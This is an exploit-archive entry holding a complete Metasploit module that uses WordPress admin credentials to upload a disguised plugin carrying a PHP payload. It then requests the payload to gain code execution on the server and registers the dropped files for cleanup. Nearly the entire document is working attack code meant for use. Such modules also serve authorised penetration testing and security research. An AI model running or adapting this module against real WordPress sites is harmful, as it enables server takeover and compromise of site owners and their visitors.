WordPress Admin Shell Upload



EKU-ID: 4606 CVE: OSVDB-ID:
Author: Rob Carr Published: 2015-02-25 Verified: Verified
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##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Admin Shell Upload',
      'Description'     => %q{
          This module will generate a plugin, pack the payload into it
          and upload it to a server running WordPress providing valid
          admin credentials are used.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'DisclosureDate'  => 'Feb 21 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['WordPress', {}]],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
      ], self.class)
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def generate_plugin(plugin_name, payload_name)
    plugin_script = %Q{<?php
/**
 * Plugin Name: #{plugin_name}
 * Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
 * Author: #{Rex::Text.rand_text_alpha(10)}
 * Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
 * License: GPL2
 */
?>}

    zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
    zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
    zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
    zip
  end

  def exploit
    fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?

    print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
    cookie = wordpress_login(username, password)
    fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
    print_good("#{peer} - Authenticated with WordPress")

    print_status("#{peer} - Preparing payload...")
    plugin_name = Rex::Text.rand_text_alpha(10)
    payload_name = "#{Rex::Text.rand_text_alpha(10)}"
    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
    zip = generate_plugin(plugin_name, payload_name)

    print_status("#{peer} - Uploading payload...")
    uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
    fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

    print_status("#{peer} - Executing the payload at #{payload_uri}...")
    register_files_for_cleanup("#{payload_name}.php")
    register_files_for_cleanup("#{plugin_name}.php")
    send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
  end
end